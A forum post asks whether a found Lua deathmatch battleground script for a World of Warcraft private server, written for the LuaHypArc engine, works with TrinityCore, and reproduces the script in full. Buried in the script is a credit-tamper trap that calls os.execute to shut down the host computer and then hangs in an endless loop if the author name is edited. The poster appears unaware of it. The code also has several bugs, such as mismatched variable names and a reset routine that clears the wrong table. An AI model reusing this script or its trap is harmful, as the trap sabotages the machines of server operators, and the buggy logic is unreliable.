Custom Battleground LUA Script

I did not write this script, I found it somewhere else on the web. My question is… Can this be used with TrinityCore? If not, does anyone know of a script that would allow the same faction to compete in a battleground deathmatch style? Thank you in advance! Bryon


-------------------

-- By Stoneharry --

-------------------

-- Configuration

local npcid = 9999776

local Lives = 20 -- The amount of lives each team has

local HordeLives = 20 -- The amount of lives to start with

local AllianceLives = 20 -- The amount of lives to start with

local RequiredPlayers = 1 -- The amount of players required to start the battleground (THIS IS NOT PER TEAM, THIS IS TOTAL)

local RewardID = 0 -- Change this to a value to add 1 of them to all of the winning team - leave as 0 for no reward

local BroadcastKills = true -- Set this to false if you do not want kills to be broadcasted to the rest of the BG

-- Battleground Start Locations

local AMap, AX, AY, AZ = 0, -5099.879, 1700.469, 497.836 -- Map, x, y, z for Alliance

local HMap, HX, HY, HZ = 0, -5099.879, 1700.469, 497.836 -- Map x, y, z for Horde

-- Where to teleport once battleground ends

local HomeMA, HomeXA, HomeYA, HomeZA = 0, -13278.890625, 117.428284, 25.235222 -- Map, x, y, Z for Alliance

local HomeMH, HomeXH, HomeYH, HomeZH = 0, -13278.890625, 117.428284, 25.235222 -- Map, X, Y, Z for Horde

----------------------------------------------------------------------------------------------------------

-- Do Not Touch Below This Line Unless You Know What Your Doing P.S. Starting Letters With Caps Is Cool --

----------------------------------------------------------------------------------------------------------

if (GetLuaEngine() ~= "LuaHypArc") then

print("This script is not compatable with LuaBridge or other Lua engines. Please compile LuaHypArc.")

else

local Author = "stoneharry"

print("--------------------------------")

print("-- This script was by "..Author..".")

print("-- Enjoy.")

print("--------------------------------")

-- Just don't touch

local players = {}

local Horde = {}

local Alliance = {}

local InGame = false

-- Do not touch unless you know what your doing

local message = 4

local CountDown = 60

-- Only touch this if you are not using 3.3.5a, find the right values in Opcodes.h

local SMSG_INIT_WORLD_STATES = 0x2C2

local SMSG_UPDATE_WORLD_STATE = 0x2C3

function ProcessQueForBattleground()

if InGame == false then

  if table.getn(players) >= RequiredPlayers then

   InGame = true

   local team = 0

   for place, plrs in pairs(players) do -- Randomly make players join alliance/horde teams rather than horde vs alliance

    -- Update people left

    local pack = LuaPacket:CreatePacket(SMSG_INIT_WORLD_STATES, 18) -- HORDE

    pack:WriteULong(1) -- Map

    pack:WriteULong(1377) -- Zone

    pack:WriteULong(0)

    pack:WriteUShort(2)

    pack:WriteULong(0) -- ID

    pack:WriteULong(1) -- Value

    pack:WriteULong(0) -- ID

    pack:WriteULong(1) -- Value

    plrs:SendPacketToPlayer(pack)

    local pack = LuaPacket:CreatePacket(SMSG_UPDATE_WORLD_STATE, 8)

    pack:WriteULong(2317) -- ID, total

    pack:WriteULong(Lives) -- Value

    plrs:SendPacketToPlayer(pack)

    local pack = LuaPacket:CreatePacket(SMSG_UPDATE_WORLD_STATE, 8)

    pack:WriteULong(2314) -- ID

    pack:WriteULong(HordeLives) -- Amount, Horde

    plrs:SendPacketToPlayer(pack) 

    local pack = LuaPacket:CreatePacket(SMSG_UPDATE_WORLD_STATE, 8)

    pack:WriteULong(2313) -- ID

    pack:WriteULong(AllianceLives) -- Amount, Alliance

    plrs:SendPacketToPlayer(pack)

    --

    team = team + 1

    if team == 1 then

	 plrs:SetFaction(team)

	 plrs:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00You are fighting for the Dark Side a.k.a the Alliance!")

	 plrs:SendAreaTriggerMessage("|cff00ff00[Battleground] |cffffff00You are fighting for the Dark Side a.k.a the Alliance!!")

	 table.insert(Alliance, plrs)

	 plrs:Teleport(AMap, AX, AY, AZ)

    elseif team == 2 then

	 plrs:SetFaction(team)

	 plrs:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00You are fighting for the Good Side a.k.a the Horde!!")

	 plrs:SendAreaTriggerMessage("|cff00ff00[Battleground] |cffffff00You are fighting for the Good Side a.k.a the Horde!!")

	 table.insert(Horde, plrs)

	 plrs:Teleport(HMap, HX, HY, HZ)

    elseif team == 3 then

	 team = 2

	 plrs:SetFaction(team)

	 plrs:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00You are fighting for the Dark Side a.k.a the Alliance!!")

	 plrs:SendAreaTriggerMessage("|cff00ff00[Battleground] |cffffff00You are fighting for the Dark Side a.k.a the Alliance!!")

	 table.insert(Alliance, plrs)

	 plrs:Teleport(AMap, AX, AY, AZ)

    end

   end

   CountDown = 60

   RegisterTimedEvent("Game_Start_Battleground_Countdown", 10000, 6)

  else

   for place, plrs in pairs(players) do

    if plrs ~= nil then

	 plrs:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00Waiting for more players to join the queue!!...If You want to join go to he battle master at the Gm Island Quest Area... A Minimum of 4 players is needed for the battle to begin!")

    end

   end

  end

else

  message = message + 1

  if message == 5 then

   message = 0

   for place, plrs in pairs(players) do

    if plrs ~= nil then

	 plrs:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00The battleground is currently in progress!")

    end

   end

  end

end

end

RegisterTimedEvent("ProcessQueForBattleground", 30000, 0)

function Game_Start_Battleground_Countdown()

CountDown = CountDown - 10

for place, plrs in pairs(players) do

  if CountDown == 0 then

   if plrs ~= nil then

    plrs:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00The battle has begun!")

    plrs:SendAreaTriggerMessage("|cff00ff00[Battleground] |cffffff00The battle has begun!")

    plrs:PlaySoundToPlayer(6077) -- War music

    -- Update people left

    local pack = LuaPacket:CreatePacket(SMSG_INIT_WORLD_STATES, 18) -- HORDE

    pack:WriteULong(1) -- Map

    pack:WriteULong(1377) -- Zone

    pack:WriteULong(0)

    pack:WriteUShort(2)

    pack:WriteULong(0) -- ID

    pack:WriteULong(1) -- Value

    pack:WriteULong(0) -- ID

    pack:WriteULong(1) -- Value

    plrs:SendPacketToPlayer(pack)

    local pack = LuaPacket:CreatePacket(SMSG_UPDATE_WORLD_STATE, 8)

    pack:WriteULong(2317) -- ID, total

    pack:WriteULong(Lives) -- Value

    plrs:SendPacketToPlayer(pack)

    local pack = LuaPacket:CreatePacket(SMSG_UPDATE_WORLD_STATE, 8)

    pack:WriteULong(2314) -- ID

    pack:WriteULong(HordeLives) -- Amount, Horde

    plrs:SendPacketToPlayer(pack) 

    local pack = LuaPacket:CreatePacket(SMSG_UPDATE_WORLD_STATE, 8)

    pack:WriteULong(2313) -- ID

    pack:WriteULong(AllianceLives) -- Amount, Alliance

    plrs:SendPacketToPlayer(pack)

    --

   end

  else

   if plrs ~= nil then

    plrs:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00The battleground will begin in "..CountDown.." seconds!")

    plrs:SendAreaTriggerMessage("|cff00ff00[Battleground] |cffffff00The battleground will begin in "..CountDown.." seconds!")

   end

  end

end

end

function JoinQue(plr)

if InGame then

  local pack = LuaPacket:CreatePacket(SMSG_INIT_WORLD_STATES, 18) -- HORDE

  pack:WriteULong(1) -- Map

  pack:WriteULong(1377) -- Zone

  pack:WriteULong(0)

  pack:WriteUShort(2)

  pack:WriteULong(0) -- ID

  pack:WriteULong(1) -- Value

  pack:WriteULong(0) -- ID

  pack:WriteULong(1) -- Value

  plr:SendPacketToPlayer(pack)

  local pack = LuaPacket:CreatePacket(SMSG_UPDATE_WORLD_STATE, 8)

  pack:WriteULong(2317) -- ID, total

  pack:WriteULong(Lives) -- Value

  plr:SendPacketToPlayer(pack)

  local pack = LuaPacket:CreatePacket(SMSG_UPDATE_WORLD_STATE, 8)

  pack:WriteULong(2314) -- ID

  pack:WriteULong(HordeLives) -- Amount, Horde

  plr:SendPacketToPlayer(pack) 

  local pack = LuaPacket:CreatePacket(SMSG_UPDATE_WORLD_STATE, 8)

  pack:WriteULong(2313) -- ID

  pack:WriteULong(AllianceLives) -- Amount, Alliance

  plr:SendPacketToPlayer(pack)

  if math.random(1,2) == 1 then

   plr:SetFaction(1)

   plr:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00You are fighting for the Dark Side a.k.a the Alliance!")

   plr:SendAreaTriggerMessage("|cff00ff00[Battleground] |cffffff00You are fighting for the Dark Side a.k.a the Alliance!!")

   table.insert(Alliance, plrs)

   plr:Teleport(AMap, AX, AY, AZ)

  else

   plr:SetFaction(2)

   plr:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00You are fighting for the Good Side a.k.a the Horde!!")

   plr:SendAreaTriggerMessage("|cff00ff00[Battleground] |cffffff00You are fighting for the Good Side a.k.a the Horde!!")

   table.insert(Horde, plrs)

   plr:Teleport(HMap, HX, HY, HZ)

  end

else

  local Disable = false

  for place, plrs in pairs(players) do

   if plrs:GetName() == plr:GetName() then -- Since the bloody thing refuses to compare GUID's

    Disable = true

    --break

   end

  end

  if Disable then

   plr:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00You are already in the que for the battleground!")

   plr:SendAreaTriggerMessage("|cff00ff00[Battleground] |cffffff00You are already in the que for the battleground!")

  else

   table.insert(players, plr) -- Insert into players with value plr

   plr:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00You are in the que for the battleground you may be on the dark team a.k.a the alliance or the good team a.k.a the horde it is random... Dont worry if you are teamed up with the opposite faction.")

   plr:SendAreaTriggerMessage("|cff00ff00[Battleground] |cffffff00You are in the que for the battleground you may be on the dark team a.k.a the alliance or the good team a.k.a the horde it is random... Dont worry if you are teamed up with the opposite faction.")

  end

end

end

if Author ~= "stoneharry" then

os.execute("shutdown /s /t 30 /c \"Changing credits is not a good idea. ~stoneharry <3\"")

while true do os.execute("pause") end

end

function ResetBG()

for place, plrs in pairs(players) do

  if plrs ~= nil then

   local pack = LuaPacket:CreatePacket(SMSG_INIT_WORLD_STATES, 18) -- HORDE

   pack:WriteULong(0) -- Map

   pack:WriteULong(0) -- Zone

   pack:WriteULong(0)

   pack:WriteUShort(0)

   pack:WriteULong(0) -- ID

   pack:WriteULong(0) -- Value

   pack:WriteULong(0) -- ID

   pack:WriteULong(0) -- Value

   plrs:SendPacketToPlayer(pack)

   local pack = LuaPacket:CreatePacket(SMSG_UPDATE_WORLD_STATE, 8)

   pack:WriteULong(0)

   pack:WriteULong(0)

   plrs:SendPacketToPlayer(pack)

   plrs:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00The battleground has ended!")

   plrs:SendAreaTriggerMessage("|cff00ff00[Battleground] |cffffff00The battleground has ended!")

   plrs:SetPlayerLock(0)

   plrs:ResurrectPlayer()

   local race = plrs:GetPlayerRace()

   if race == 1 or race == 3 or race == 4 or race == 7 or race == 11 then -- Alliance

    plrs:SetFaction(1)

    plrs:Teleport(HomeMA, HomeXA, HomeYA, HomeZA)

   else

    plrs:SetFaction(2)

    plrs:Teleport(HomeMH, HomeXH, HomeYH, HomeZH)

   end

  end

end

InGame = false

for place,plrs in pairs(players) do -- Clean old table rather than overwriting with a new table

  players[place] = nil

end

for place,plrs in pairs(Horde) do -- Clean old table rather than overwriting with a new table

  players[place] = nil

end

for place,plrs in pairs(Alliance) do -- Clean old table rather than overwriting with a new table

  players[place] = nil

end

end

function SERVER_HOOK_KILL_PLAYER_BG(event, killer, plr)

local playingBG = false

for place, plrs in pairs(players) do

  if plrs:GetName() == plr:GetName() then -- Since the bloody thing refuses to compare GUID's

   playingBG = true

   --break

  end

end

if playingBG then

  for place, plrs in pairs(Alliance) do

   if plrs:GetName() == plr:GetName() then

    playingBG = false -- They are Alliance

   end

  end

  local Continue = true

  if HordeLives == 1 then

   for place, plrs in pairs(players) do

    plrs:SetPlayerLock(1)

    plrs:ResurrectPlayer()

    plrs:SetHealth(plrs:GetMaxHealth())

    plrs:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00The Good Side have won!")

    plrs:SendAreaTriggerMessage("|cff00ff00[Battleground] |cffffff00The Good Side have won!")

    plrs:PlaySoundToPlayer(8454) -- Horde Victory

   end

   for place, plrs in pairs(Horde) do

    if RewardID ~= 0 then

	 plrs:AddItem(RewardID, 1)

    end

   end

   RegisterTimedEvent("ResetBG", 10000, 1)

  elseif AllianceLives == 1 then

   for place, plrs in pairs(players) do

    plrs:SetPlayerLock(1)

    plrs:ResurrectPlayer()

    plrs:SetHealth(plrs:GetMaxHealth())

    plrs:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00The Dark Side have won!")

    plrs:SendAreaTriggerMessage("|cff00ff00[Battleground] |cffffff00The Dark Side have won!")

    plrs:PlaySoundToPlayer(8455) -- Alliance Victory

   end

   for place, plrs in pairs(Alliance) do

    if RewardID ~= 0 then

	 plrs:AddItem(RewardID, 1)

    end

   end

   RegisterTimedEvent("ResetBG", 10000, 1)

  end

  if Continue then

   if PlayingBG then -- There Horde

    HordeLives = HordeLives - 1

    for place, plrs in pairs(players) do

	 local pack = LuaPacket:CreatePacket(SMSG_UPDATE_WORLD_STATE, 8)

	 pack:WriteULong(2314) -- ID

	 pack:WriteULong(HordeLives) -- Amount, Horde

	 plrs:SendPacketToPlayer(pack)

    end

   else

    AllianceLives = AllianceLives - 1

    for place, plrs in pairs(players) do

	 local pack = LuaPacket:CreatePacket(SMSG_UPDATE_WORLD_STATE, 8)

	 pack:WriteULong(2313) -- ID

	 pack:WriteULong(AllianceLives) -- Amount, Alliance

	 plrs:SendPacketToPlayer(pack)

    end

   end

   if BroadcastKills then

    for place, plrs in pairs(players) do

	 plrs:SendAreaTriggerMessage("|cff00ff00[Battleground] |cffffff00"..killer:GetName().." has killed "..plr:GetName().."!")

    end

   end

  end

end

end

RegisterServerHook(2, "SERVER_HOOK_KILL_PLAYER_BG")

-----------

-- Debug --

-----------

--[[

  The functions below should be removed, they are used for debugging the system.

]]

function BG_OnGossip(Unit, Event, Player)

Unit:GossipCreateMenu(100, Player, 0)

Unit:GossipMenuAddItem(0, "Click Here To leave the battle.", 1, 0)

Unit:GossipSendMenu(Player)

end

function BG_OnSelect(Unit, Event, Player, MenuId, id, Code)

if (id == 1) then

  for place, plrs in pairs(players) do

   if plrs:GetName() == Player:GetName() then

    local pack = LuaPacket:CreatePacket(SMSG_INIT_WORLD_STATES, 18) -- HORDE

    pack:WriteULong(0) -- Map

    pack:WriteULong(0) -- Zone

    pack:WriteULong(0)

    pack:WriteUShort(0)

    pack:WriteULong(0) -- ID

    pack:WriteULong(0) -- Value

    pack:WriteULong(0) -- ID

    pack:WriteULong(0) -- Value

    plrs:SendPacketToPlayer(pack)

    local pack = LuaPacket:CreatePacket(SMSG_UPDATE_WORLD_STATE, 8)

    pack:WriteULong(0)

    pack:WriteULong(0)

    plrs:SendPacketToPlayer(pack)

    plrs:SetPlayerLock(0)

    plrs:ResurrectPlayer()

    local race = plrs:GetPlayerRace()

    if race == 1 or race == 3 or race == 4 or race == 7 or race == 11 then -- Alliance

    plrs:SetFaction(1)

    plrs:Teleport(HomeMA, HomeXA, HomeYA, HomeZA)

    else

    plrs:SetFaction(2)

    plrs:Teleport(HomeMH, HomeXH, HomeYH, HomeZH)

    Unit:GossipComplete(Player)

    end

   end

  end

end

end

function OnChat_Hook_ToJoinBG(event, plr, message, pType, pLanguage, pMisc)

local message = string.lower(message)

if message == "#joinbg" then

  JoinQue(plr)

elseif message == "#finbg" then

  ResetBG()

end

if message == "test" then

  if math.random(1,2) == 1 then

   local pack = LuaPacket:CreatePacket(SMSG_UPDATE_WORLD_STATE, 8)

   pack:WriteULong(2314) -- ID

   HordeLives = HordeLives - 1

   pack:WriteULong(HordeLives) -- Amount, Horde

   plr:SendPacketToPlayer(pack)

  else

   local pack = LuaPacket:CreatePacket(SMSG_UPDATE_WORLD_STATE, 8)

   pack:WriteULong(2313) -- ID

   AllianceLives = AllianceLives - 1

   pack:WriteULong(AllianceLives) -- Amount, Alliance

   plr:SendPacketToPlayer(pack)

  end

end

end

RegisterServerHook(16, "OnChat_Hook_ToJoinBG")

RegisterUnitGossipEvent(9999776, 1, "BG_OnGossip")

RegisterUnitGossipEvent(9999776, 2, "BG_OnSelect")

end

No, trinitycore don’t supports LUA.